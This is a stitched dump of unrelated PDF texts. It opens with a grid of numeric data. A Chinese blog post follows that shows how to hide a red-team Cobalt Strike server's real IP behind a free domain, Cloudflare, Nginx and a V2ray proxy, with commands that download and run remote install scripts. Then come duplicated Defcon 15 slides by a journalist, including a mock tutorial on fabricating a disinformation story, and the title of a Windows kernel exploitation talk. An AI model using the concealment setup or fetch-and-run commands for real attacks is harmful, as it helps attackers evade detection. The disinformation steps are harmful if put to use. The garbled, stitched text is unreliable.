1,
1,
1,
1,
1,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
12,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
0,
0
1,
0,
0,
0,
0,
0,
0,
52,
1
1,
0,
0,
0,
0,
0,
0,
0,
0
1,
0,
0,
0,
0,
0,
0,
62,
1
1,
1,
1,
1,
1,
1,
1,
0,
1
14
1,
1,
1,
1,
1,
1,
1,
1,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
12,
0
1,
0,
0,
0,
0,
0,
0,
52,
1
1,
0,
0,
0,
0,
0,
0,
0,
0
1,
0,
0,
0,
0,
0,
0,
62,
1
1,
1,
1,
1,
1,
1,
1,
0,
1
12
1,
1,
1,
1,
1,
1,
1,
1,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
52,
1
1,
0,
0,
0,
0,
0,
0,
0,
0
1,
0,
0,
0,
0,
0,
0,
62,
1
1,
1,
1,
1,
1,
1,
1,
0,
1
54
1,
1,
1,
1,
1,
1,
1,
1,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
52,
0
1,
0,
0,
0,
0,
0,
0,
62,
1
1,
1,
1,
1,
1,
1,
1,
0,
1
5264
1,
1,
1,
1,
1,
1,
1,
1,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
0,
0,
0,
0,
0,
0,
0,
1
1,
1,
1,
1,
1,
1,
1,
1,
1
81846462414323513473317112521412545264 | pdf |
2021/7/31
红队必备技能之隐蔽的技巧
https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw
1/19
红队必备技能之隐蔽的技巧
收录于话题
#技术备存 11
#漏洞 13
#僵尸网络 9
#CTF 9
#AWD 7
正文共：4951字 27图
预计阅读时间：13分钟
（1）平时在做安全测试时，相信很多小伙伴在建立Cobalt Strike服务端时都是直接使用IP地址
后进行直连。之前也爆出过Cobalt Strike“空格”特征，可以通过构造规则，针对全球的具有这类
特征的HTTP响应进行服务器抓取，难道要频繁更换IP吗？更新版本就不会出现新的特征吗？
相关信息：https://github.com/fox-it/cobaltstrike-extraneous-space
（2）每当各种重大活动时经常会出现大面积SS/SSR通信异常，又要频繁更换IP吗？搬瓦工的
Just My Socks提供自动监测并自动换IP功能，在众多小伙伴的使用下还会香吗？
（3）基于以上2个问题及其他多种因素，并有了产生此次试验的目的
- 备注：本方式仅作为抛砖引玉，看官请轻拍~
- 更新于2020-01-13
- 版本2.0
一：测试环境
+ 系统版本：Ubuntu 18.04.3 LTS
+ V2ray版本
原创
Kobe Fans
小生观察室 2020-06-11
2021/7/31
红队必备技能之隐蔽的技巧
https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw
2/19
- 客户端：v2rayN 2.42
- 服务端：v4.22.1
+ Nginx版本：nginx/1.17.7
+ VPS 1H1G
Part 1.1 测速
选择延迟率相对较低的VPS，测试方法：
在 Ubuntu、Debian、Fedora、CentOS、RHEL上一样可以执行
Part 1.2 修改系统时区
V2ray相比SS更需要时间上的准确性,客户端和服务端时差缩小至30s内
rm /etc/localtime
ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
二：域名注册
Part 2.1 免费域名
+ [freenom](https://www.freenom.com)
root@test:/# curl -s https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtes
Retrieving speedtest.net configuration...
Testing from Google (8.8.8.8)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Ixnium Technologies (Tokyo) [13.11 km]: 1.247 ms
Testing download speed....................................................................
Download: 6666.57 Mbit/s
Testing upload speed......................................................................
Upload: 6666.11 Mbit/s
2021/7/31
红队必备技能之隐蔽的技巧
https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw
3/19
此处以免费的域名做案例演示
Part 2.2 收费域名
尽可能不使用国内的域名商
+ [namecheap](https://www.namecheap.com/)
+ [阿里云万网](https://wanwang.aliyun.com/)
+ [腾讯云DNSPod](https://dnspod.cloud.tencent.com/)
+ [namesilo](https://www.namesilo.com/)
+ [godaddy](https://sg.godaddy.com/zh)
Part 2.3 注册方法
先注册一个freenom的账号登陆上去，点击菜单的 Services ，选择 Register
a New Domain
选择一个域名点击 Get it now
完成后点击 Checkout 进入下一步
2021/7/31
红队必备技能之隐蔽的技巧
https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw
4/19
选择免费的12个月期限，点击 Continue 进行下一步
购物车信息，点击 Complete Order
注册成功生成ID号，并返回 My Domains 可查看到注册成功后的域名
2021/7/31
红队必备技能之隐蔽的技巧
https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw
5/19
失败的效果如下所示
>小技巧：
+ 注册使用的IP和访问网站使用的IP需在同一个地区或同一个IP，不然会出现注册不成功的情况！
2021/7/31
红队必备技能之隐蔽的技巧
https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw
6/19
三：域名配合Cloudflare解析
Part 3.1 注册并登陆
需要先注册一个Cloudflare的账号并登陆， 注册完成后登进入控制台，点击 Add a Site 按钮添
加一个站点
Part 3.2 免费计划
选择一个计划，这里我们选择第一个免费的就行了，选择完后点击 Confirm plan
Part 3.3 CloudFlare添加A记录
+ 网站经常性会自动断开登陆状态导致购物车无域名的情况，需要手速快或删除Cookie信息后再注册即可！
+ 如果是第一次注册，在结算页面的信息栏显示红色部分需要如实填写，其他的随便填，最关键的是地区，
+ 如果觉得免费的域名注册方式比较麻烦或不适合，可自行购买其他厂商的xyz域名相对便宜【0.99$】
2021/7/31
红队必备技能之隐蔽的技巧
https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw
7/19
点击 Add Record 按钮添加2条A记录，Value指向VPS的IP，点击 Proxy status 栏中的云朵，
让其变成灰色( 本阶段因IP未被墙所以暂时选择灰色，如果IP被强可以选择橙色，即可复活被墙IP达到隐
藏真实IP的目的 )，完成后点击 Continue 按钮继续下一步操作
Part 3.4 修改域名商DNS记录
此时会提示你将域名的DNS解析到Cloudflare，其中有2个 Nameserver 是需要用到的
这里需要重新到freenom修改下DNS，点击 Services ，选择 My Domains ，找到之前注册的域
名，点击右侧的 Manage Domain
2021/7/31
红队必备技能之隐蔽的技巧
https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw
8/19
点 击 Management Tools 选 择 Nameservers ， 选 择 第 二 个 选 项 自 定 义 ， 填 写 上 面 的 2 个
Nameserver ，点击 Change Nameservers 保存
Part 3.5 等待解析完成
全部修改完毕之后，回到Cloudflare，点击 Done, check nameservers ，如果跳转到控制台页
面就表示成功了，如果没有就需要耐心等待一会，解析需要一定的时间，一般几分钟就解析好
了。
Part 3.6 开启端到端加密
2021/7/31
红队必备技能之隐蔽的技巧
https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw
9/19
四：安装Nginx
参考地址：https://nginx.org/en/linux_packages.html#Ubuntu
Part 4.1 更新源并安装
sudo apt install curl gnupg2 ca-certificates lsb-release
echo "deb http://nginx.org/packages/mainline/ubuntu `lsb_release -cs` nginx" \
| sudo tee /etc/apt/sources.list.d/nginx.list
curl -fsSL https://nginx.org/keys/nginx_signing.key | sudo apt-key add -
sudo apt-key fingerprint ABF5BD827BD9BF62
sudo apt update
sudo apt install nginx
2021/7/31
红队必备技能之隐蔽的技巧
https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw
10/19
Part 4.2 修改默认配置文件
默认路径地址：/etc/nginx/conf.d/default.conf
修改并重启Nginx服务
展示页面
2021/7/31
红队必备技能之隐蔽的技巧
https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw
11/19
五：安装HTTPS证书
Let's Encrypt 官 方 推 荐 了 Certbot ACME 客 户 端 ， 所 以 本 次 基 于 Certbot 进 行 设 置 Let's
Encrypt证书并自动续期
5.1 添加仓库
sudo add-apt-repository ppa:certbot/certbot
5.2 安装Certbot的Nginx软件包
sudo apt install python-certbot-nginx
5.3 验证配置是否正确
sudo nginx -t
5.4 重启Nginx
sudo systemctl reload nginx
5.5 获取证书
sudo certbot --nginx -d www.kobefans12345678.tk
参考地址：
1:https://www.digitalocean.com/community/tutorials/how-to-secure-nginx-with-let-s-encrypt-
2:https://certbot.eff.org/lets-encrypt/ubuntubionic-nginx
2021/7/31
红队必备技能之隐蔽的技巧
https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw
12/19
2021/7/31
红队必备技能之隐蔽的技巧
https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw
13/19
2021/7/31
红队必备技能之隐蔽的技巧
https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw
14/19
5.6 自动续订
sudo certbot renew --dry-run
5.7 设置PCI DSS合规及HSTS
PCI DSS合规+HSTS仅对对证书评级要求较高的用户进行添加，不是必须项
修改letsencrypt的配置信息
vim /etc/letsencrypt/options-ssl-nginx.conf
添加以下信息
ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
重启服务即可
六：安装V2ray服务端
Part 6.1 生成随机端口及UUID号
配置和部署的方式建议按照官方的说明进行下载及配置，第三方网站存在很多后门捆版的情况需自行检验。
参考地址：
https://www.v2ray.com/chapter_00/install.html)
bash <(curl -L -s https://install.direct/go.sh)
2021/7/31
红队必备技能之隐蔽的技巧
https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw
15/19
Part 6.2 修改V2ray默认配置文件
vim /etc/v2ray/config.json
{
"inbounds": [
{
"port": 23846,
"listen":"127.0.0.1",
"protocol": "vmess",
"settings": {
"clients": [
{
"id": "bc0cd645-9fb1-46e3-ba70-ea5b7bed9961",
"alterId": 64
}
]
},
"streamSettings": {
"network": "ws",
"wsSettings": {
"path": "/ray"
2021/7/31
红队必备技能之隐蔽的技巧
https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw
16/19
}
}
}
],
"outbounds": [
{
"protocol": "freedom",
"settings": {}
}
]
}
重启服务
6.3 设置开机启动
systemctl enable v2ray
6.4 开启BBR
echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf
echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf
sysctl -p
sysctl net.ipv4.tcp_available_congestion_control
lsmod | grep bbr
也可以魔改BBR，根据需求来自行设置
七：网站与V2ray并存
Part 7.1 新增代理
对Nginx默认配置文件进行修改，在内容中添加以下信息
location /ray {
proxy_pass http://127.0.0.1:23846;
proxy_redirect off;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $http_host;
}
2021/7/31
红队必备技能之隐蔽的技巧
https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw
17/19
修改完成后重启服务即可
Part 7.2 设置客户端
建议选择用户量多且官方推荐的客户端
参考地址:https://github.com/2dust/v2rayN
新建或添加【VMess】服务器
再开启HTTP搭理模式即可
最终效果如下：
2021/7/31
红队必备技能之隐蔽的技巧
https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw
18/19
喜欢此内容的人还喜欢
八：总结
此次测试仅做隐藏真实IP地址、更方便的扶墙及环境配置部署说明，后续还可以结合Cobalt
Strike插件或其他技巧进行更加隐蔽的测试方式。Cobalt Strike安装部署不在本次测试范围内，
可自行谷歌~
扫描二维码
获取更多精彩
小生观察室
收录于话题 #技术备存·11个
上一篇
Ubuntu下利用SoftEther部署L2TP
下一篇
新版VMware之MacOS系统爬坑记
小生观察室
树不子
黑帽SEO实战之目录轮链批量生成百万页面
她装什么穷人 | pdf |
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
A Journalist
A Journalist’’s Perspective on Security
s Perspective on Security
Research
Research
Peter Berghammer
Peter Berghammer
Defcon 15; Riviera, Las Vegas
Defcon 15; Riviera, Las Vegas
Friday August 3, 2007
Friday August 3, 2007
Day 1, Track 4
Day 1, Track 4
17:00
17:00 –– 17:50
17:50
(05:00
(05:00--05:50 pm)
05:50 pm)
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
About me
About me
Peter Berghammer is the owner of a number of companies including
Peter Berghammer is the owner of a number of companies including::
•• Copernio: an aerospace and defense contractor
Copernio: an aerospace and defense contractor
•• Future Formats: a CE research and analysis company
Future Formats: a CE research and analysis company
•• Tunitas Creek Ventures: a VC firm in the web 2.0 arena
Tunitas Creek Ventures: a VC firm in the web 2.0 arena
Additionally he writes (or has written for):
Additionally he writes (or has written for):
•• Dealerscope: a monthly column covering politics, economics, and
Dealerscope: a monthly column covering politics, economics, and corporate
corporate
ethics
ethics
•• MediaLine: a monthly column covering security involving Hollywoo
MediaLine: a monthly column covering security involving Hollywood studios,
d studios,
retailers and CE manufacturers
retailers and CE manufacturers
•• CreativeCow: a bimonthly column covering developments within the
CreativeCow: a bimonthly column covering developments within the
professional film makers community
professional film makers community
•• ODS!: occasional contributor regarding topics affecting the opti
ODS!: occasional contributor regarding topics affecting the optical disc industry
cal disc industry
•• One
One--to
to--One: occasional contributor on emerging technologies affecting t
One: occasional contributor on emerging technologies affecting the
he
replication industry
replication industry
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Disclaimer
Disclaimer
The opinions expressed in this talk today are solely those of th
The opinions expressed in this talk today are solely those of the
e
author and in no way reflect an endorsement by any of the
author and in no way reflect an endorsement by any of the
publications for whom he writes.
publications for whom he writes.
The opinions expressed today are solely those of the author and
The opinions expressed today are solely those of the author and in
in
no way is meant as public commentary, endorsement or non
no way is meant as public commentary, endorsement or non--
endorsement of the products and services of any companies
endorsement of the products and services of any companies
mentioned today.
mentioned today.
The opinions expressed by the author on any legal or ethical
The opinions expressed by the author on any legal or ethical
matters used by way of example during this talk are in no way
matters used by way of example during this talk are in no way
meant to be considered or construed as legal or ethical advice.
meant to be considered or construed as legal or ethical advice.
Unfortunately in today
Unfortunately in today’’s world these disclaimers are part of the
s world these disclaimers are part of the
business
business…
…....
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Introduction
Introduction
Let
Let’’s start with the ubiquitous terms:
s start with the ubiquitous terms: ““Security
Security”” and
and ““Research
Research””
In most widely read, popular publications and websites security
In most widely read, popular publications and websites security is meant
is meant
to describe all things related to a consumer
to describe all things related to a consumer’’s secure use of their hardware
s secure use of their hardware
and software
and software
Security research in this context generally describes a company
Security research in this context generally describes a company’’s
s best
best
efforts
efforts to keep their product safe and secure
to keep their product safe and secure
A security researcher therefore becomes something of a lone, myt
A security researcher therefore becomes something of a lone, mythic
hic
scholar protecting us from the harm of viruses, phishing, pfarmi
scholar protecting us from the harm of viruses, phishing, pfarming trojans
ng trojans
and the like
and the like
However, even in this context it is unclear what is meant by kee
However, even in this context it is unclear what is meant by keeping a
ping a
product safe and secure
product safe and secure
•• Safe for who? The user, or protecting the company
Safe for who? The user, or protecting the company’’s IP
s IP
•• The same goes for research: researching what?, and in who
The same goes for research: researching what?, and in who’’s best interests
s best interests
•• If you have any questions about this I suggest reading EULAs bef
If you have any questions about this I suggest reading EULAs before you come
ore you come
to any conclusions
to any conclusions
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Simplest security term
Simplest security term
Security invariably can be broken down into its simplest
Security invariably can be broken down into its simplest
constituent part:
constituent part:
•• Identifying, codifying and tracking communications
Identifying, codifying and tracking communications
In other words, a device that has no connection to the wider wor
In other words, a device that has no connection to the wider world
ld
is of no interest when speaking of security
is of no interest when speaking of security
In other words, a connected device is mandatory when discussing
In other words, a connected device is mandatory when discussing
security
security
All issues surrounding security revolve around this
All issues surrounding security revolve around this
The only exception to this rule is when discussing personnel
The only exception to this rule is when discussing personnel
security and access to secured data and systems (but that is
security and access to secured data and systems (but that is
another topic completely)
another topic completely)
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Security Researchers
Security Researchers
To
To security researchers
security researchers of all flavors the term
of all flavors the term
security has much more profound implications
security has much more profound implications
Security is often pursued in the abstract and theoretical
Security is often pursued in the abstract and theoretical
(with a view of the day
(with a view of the day--to
to--day implications)
day implications)
•• It very often involves semi
It very often involves semi--obscure topics such as cryptography
obscure topics such as cryptography
and cryptanalysis
and cryptanalysis
•• It almost always involves an intimate familiarity with the
It almost always involves an intimate familiarity with the
intricacies of machine hardware, pattern predictability among a
intricacies of machine hardware, pattern predictability among a
host of other things
host of other things
In short the security researcher often works in theory
In short the security researcher often works in theory
and advanced analysis
and advanced analysis
•• But they ultimately have to either answer to their own company
But they ultimately have to either answer to their own company
or to those who retain them
or to those who retain them
•• The dark hat researcher usually doesn
The dark hat researcher usually doesn’’t have this oversight but
t have this oversight but
in a journalist
in a journalist’’s mind this is not always an advantage
s mind this is not always an advantage
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Journalists
Journalists
There are a vast number of types of journalists that cover the
There are a vast number of types of journalists that cover the
security area
security area
The most well known ones are those who cover areas related to
The most well known ones are those who cover areas related to
firewalls, anti
firewalls, anti--virus programs and the like
virus programs and the like
Others cover security breaches such as the DOD
Others cover security breaches such as the DOD’’s loss of laptop
s loss of laptop
computers, identity theft or credit card phishing scams
computers, identity theft or credit card phishing scams
Another type covers the
Another type covers the ““art
art”” of security and sometimes even the
of security and sometimes even the
ethical implications of covering up security breaches or even in
ethical implications of covering up security breaches or even in
soliciting security breaches in the name of better
soliciting security breaches in the name of better ““open
open”” security
security
By and large, most journalists that cover the security beat are
By and large, most journalists that cover the security beat are well
well
versed, highly competent and minimally compromised by
versed, highly competent and minimally compromised by
corporate concerns (and most of them are underpaid too)
corporate concerns (and most of them are underpaid too)
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Publications & Websites
Publications & Websites
Typically there is a difference between a
Typically there is a difference between a
printed publication and a website
printed publication and a website
•• The most notable difference is in timeliness
The most notable difference is in timeliness
•• There is near parity nowadays in depth of analysis
There is near parity nowadays in depth of analysis
Generally much lower overhead when operating
Generally much lower overhead when operating
a website
a website
•• This has profound implications when it comes to
This has profound implications when it comes to
advertisers and
advertisers and ““doble
doble--checking
checking”” content
content
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Security research
Security research
from a journalist
from a journalist’’s perspective:
s perspective:
what it is and why it matters
what it is and why it matters
Serious journalists typically see the issues
Serious journalists typically see the issues
surrounding security as matters of law, politics,
surrounding security as matters of law, politics,
economics
economics
Many times issues revolve around personal
Many times issues revolve around personal
freedoms, censorship, constitutional law etc.
freedoms, censorship, constitutional law etc.
At a deeper level however issues revolve around
At a deeper level however issues revolve around
privacy, cryptography and freedom of expression
privacy, cryptography and freedom of expression
At its core a journalists view of security colors the
At its core a journalists view of security colors the
approach and definitions of the above topics
approach and definitions of the above topics
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Differences between security bloggers
Differences between security bloggers
and print journalists
and print journalists
Security bloggers are the mainstay of serious research
Security bloggers are the mainstay of serious research
The timeliness and intensity of near real
The timeliness and intensity of near real--time reporting
time reporting
is essential
is essential
Print journalist can bring better analytical and cross
Print journalist can bring better analytical and cross--
related events to bear
related events to bear
In some very few cases however print can be
In some very few cases however print can be
““compromised
compromised”” by the very audience it seeks to reach
by the very audience it seeks to reach
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Top
Top”” security stories of the past year
security stories of the past year
and why they got the coverage
and why they got the coverage
Veterans Administration losses laptops
Veterans Administration losses laptops
TJMaxx
TJMaxx credit card numbers
credit card numbers ““hacked
hacked””
Sony
Sony rootkit
rootkit fiasco
fiasco
HP
HP ““spoofing
spoofing”” and corporate spying fiasco
and corporate spying fiasco
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
The 5 biggest f***ups:
The 5 biggest f***ups:
where we screwed up or missed the point
where we screwed up or missed the point
completely
completely
Google, Yahoo, MSN censorship in China
Google, Yahoo, MSN censorship in China
RIAA methods to obtain data
RIAA methods to obtain data
Vista phone home issues
Vista phone home issues
Blu
Blu--ray, HD
ray, HD--DVD, HDCP issues surrounding privacy
DVD, HDCP issues surrounding privacy
Metadata,
Metadata, metamining
metamining, metadata repurposing
, metadata repurposing
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
The best under
The best under--reported or
reported or
not
not--reported stores of the past 24 months
reported stores of the past 24 months
Wikileaks
Wikileaks
Apple
Apple
Electronic voting: the case of
Electronic voting: the case of Accupoll
Accupoll
Web 2.0 vulnerabilities
Web 2.0 vulnerabilities
Cyberwar
Cyberwar
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
…
…and my two personal favorites
and my two personal favorites…
…..
U.K. judge in e
U.K. judge in e--case asks to have the
case asks to have the ““internet
internet””
explained to him
explained to him
U.S. teacher convicted in classroom pop
U.S. teacher convicted in classroom pop--up
up
porn case convicted
porn case convicted
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Do security researchers and hackers
Do security researchers and hackers
need to consider what mainstream
need to consider what mainstream
publications write about them?
publications write about them?
Impact on legitimate software and hardware
Impact on legitimate software and hardware
sales
sales –– big bucks at stake
big bucks at stake
The credibility factor and how that is relayed to
The credibility factor and how that is relayed to
the general public
the general public
Your credibility (even if you are in a grey area
Your credibility (even if you are in a grey area
legally) and why that is important
legally) and why that is important
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
How do we select what
How do we select what’’s relevant
s relevant
or not for publication
or not for publication
The role editor
The role editor’’s play in allowing us to get the
s play in allowing us to get the
story
story
The role advertiser
The role advertiser’’s play in allowing us to get
s play in allowing us to get
the story (or not)
the story (or not)
Who pressures journalists to censor themselves
Who pressures journalists to censor themselves
Who threatens journalists and how
Who threatens journalists and how…
…and why
and why
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Government(s) involvement in leaking or
Government(s) involvement in leaking or
suppressing stories
suppressing stories
It really isn
It really isn’’t just the US government that
t just the US government that
cares
cares…
…....
Have you ever tangled with the Russians?.....or
Have you ever tangled with the Russians?.....or
the
the…
…..or even the
..or even the…
…....
What about
What about SOEs
SOEs (state owned enterprises)
(state owned enterprises)
Denying visas, denying access
Denying visas, denying access
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Journalists:
Journalists:
Where we get it right
Where we get it right –– and wrong
and wrong
Funny examples of who is doing a good
Funny examples of who is doing a good
job
job…
…and a bad job
and a bad job
Note: due to the sensitivity of the cases cited
Note: due to the sensitivity of the cases cited
this portion is oral only
this portion is oral only
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Developing a
Developing a ““relationship
relationship”” with your
with your
journalist*
journalist*
Becoming a trusted source
Becoming a trusted source
•• How to contact
How to contact
•• How to provide data
How to provide data
•• What is relevant
What is relevant
•• Creating/avoiding a paper trail
Creating/avoiding a paper trail
Things not to do
Things not to do
•• This is not about you
This is not about you
•• Stay truthful
Stay truthful
•• Expose the illegal but stay legal!
Expose the illegal but stay legal!
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Common Misperceptions
Common Misperceptions
Journalists are lazy
Journalists are lazy
We
We’’re just looking for the sensationalist stories
re just looking for the sensationalist stories
We just are earning a buck and don
We just are earning a buck and don’’t really
t really
care about the area
care about the area
Our magazines tell us what to do
Our magazines tell us what to do
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
What government and industry
What government and industry
want to do to you
want to do to you
Revised DMCA and its implications for
Revised DMCA and its implications for
researchers
researchers
The link between legislation and industry
The link between legislation and industry
Does the general public even know or care?
Does the general public even know or care?
Who really benefits, and who is really hurt by
Who really benefits, and who is really hurt by
the status quo
the status quo
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
What it means to become
What it means to become ““famous
famous”” by your
by your
actions
actions…
….and the implications thereof
.and the implications thereof
““So Sue Me
So Sue Me”” the case of Johansen
the case of Johansen
Kiddie
Kiddie scripters
scripters and why they get the coverage
and why they get the coverage
““So sue me
So sue me…”
…” how to silence a journalist
how to silence a journalist
The hacker mystique: and why it isn
The hacker mystique: and why it isn’’t always
t always
so rosy
so rosy
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Just for fun
Just for fun……
……....
Class Exercise
Class Exercise
Let
Let’’s play:
s play:
GLOBAL DISINFORMATION
GLOBAL DISINFORMATION
A step by step tutorial on creating a bogus story
A step by step tutorial on creating a bogus story
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Step One:
Step One:
Pick a topic from current events
Pick a topic from current events
International Space Station loses power during Shuttle mission
International Space Station loses power during Shuttle mission
Computers fail
Computers fail
Possibility of abandoning station
Possibility of abandoning station
It is important to select a topic with a broad range of possibil
It is important to select a topic with a broad range of possibilities
ities
such as the international mix of the station, geopolitics betwee
such as the international mix of the station, geopolitics between
n
US & Russia, multiple international suppliers, NASA implications
US & Russia, multiple international suppliers, NASA implications
It is important to allude to, but not state, other conspiracy th
It is important to allude to, but not state, other conspiracy theories
eories
such as Area 51, One
such as Area 51, One--Worlders and the Illuminati and so much
Worlders and the Illuminati and so much
more!!!!!
more!!!!!
Also, don
Also, don’’t forget the current year
t forget the current year’’s enemy du jour
s enemy du jour
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Step Two:
Step Two:
Mix it up with other world events
Mix it up with other world events
For this story possibilities include:
For this story possibilities include:
•• Chinese force down US spy plane and hold crew hostage
Chinese force down US spy plane and hold crew hostage
•• Russian transnational, natural gas pipeline shipments to Europe
Russian transnational, natural gas pipeline shipments to Europe
are imperiled
are imperiled
•• German loan crises to Russia looms
German loan crises to Russia looms
•• Cyberwar between Estonia and Russia
Cyberwar between Estonia and Russia
•• China prepares for cyber dominance
China prepares for cyber dominance
•• US Southeast Asian strategy weakens as Iraq war continues
US Southeast Asian strategy weakens as Iraq war continues
•• As Chinese imports to US and Europe continue to grow, so does
As Chinese imports to US and Europe continue to grow, so does
Trade Imbalance
Trade Imbalance
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Step Three:
Step Three:
appeal to people
appeal to people’’s fears
s fears
and make it personal
and make it personal
Transnational gangs of hackers team up to steal
Transnational gangs of hackers team up to steal your
your
identity
identity
More jobs being exported abroad
More jobs being exported abroad…
…could
could your
your’’ss be
be
next?
next?
Warrantless wiretaps: what is the government trying to
Warrantless wiretaps: what is the government trying to
secretly learn about
secretly learn about your
your life?
life?
Government Secrecy: what is the government hiding
Government Secrecy: what is the government hiding
about its plans for
about its plans for your
your future?
future?
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Step Four:
Step Four:
Make it up as you go along
Make it up as you go along
Sample story:
Sample story:
Dateline: Johnson Space Center
Dateline: Johnson Space Center
Houston, Texas
Houston, Texas
Headline:
Headline:
•• Faulty Cabling Not Sole Source of ISS Computer
Faulty Cabling Not Sole Source of ISS Computer
Failure
Failure
Tag Line:
Tag Line:
•• Security Researcher Outlines Links Between Sino
Security Researcher Outlines Links Between Sino--
Russian Cyberwars and Hacking Intrusions Into
Russian Cyberwars and Hacking Intrusions Into
Secure NASA Systems
Secure NASA Systems
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Step Five:
Step Five:
Here is our bogus story
Here is our bogus story
Space Station Woes May Be Just Beginning
Space Station Woes May Be Just Beginning
““We may never know who is really responsible
We may never know who is really responsible””
Security Expert Mortimer Snerd:
Photo Courtesy: AmNews File
Kid Drowns While
Mom Surfs for Porn
Costa Mesa, CA- A 32
Year old mother is in
custody tonight after
failing to hear her
daughter’s frantic
splashes for survival.
Cont. page 29
Last month’s computer failures on the International Space Station
may not be solely to blame on faulty German cabling according to
renowned security expert Mortimer Snerd. The expert contends that
the near perfect operation of the cables prior to the deployment of
the solar collection units installed by astronauts points to another,
perhaps more sinister cause for the station’s repeated computer
crashes.
“Frankly, the near perfect timing of the computer failures almost
certainly points toward outside, undetectable hacking intrusions”
stated this expert. He continues that “ a well known state of war has
been raging in cybersapce under the watchful eyes of Russian
intelligence. It is believed that a number of counter measures being
employed in this battle are actually lines of code procured by the
Chinese from a shot down US spy plane.” Other international
experts concur that ……
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Moral of the Story
Moral of the Story
Be careful what facts you take at face value
Be careful what facts you take at face value
Be Careful who you trust
Be Careful who you trust
Don
Don’’t automatically assume interrelated
t automatically assume interrelated
conspiracies
conspiracies
Always assume an hidden agenda (even for
Always assume an hidden agenda (even for
legit stories)
legit stories)
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Contact/Tips
Contact/Tips
pf0t0n [@]
pf0t0n [@] hushmail
hushmail [dot] com
[dot] com
Most current version of this presentation can be
Most current version of this presentation can be
obtained by emailing to the above address
obtained by emailing to the above address
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas
Thank you
Thank you | pdf |
TAKING WINDOWS 10 KERNEL
EXPLOITATION TO THE NEXT
LEVEL – LEVERAING WRITE-
WHAT-WHERE VULNERABILITIES
IN CREATORS UPDATE
Whoami
• Morten Schenk
• Security Advisor, Improsec ApS
• Twitter - @blomster81
• Blog: https://improsec.com/blog/
• GitHub: https://github.com/MortenSchenk
• What to expect from this talk
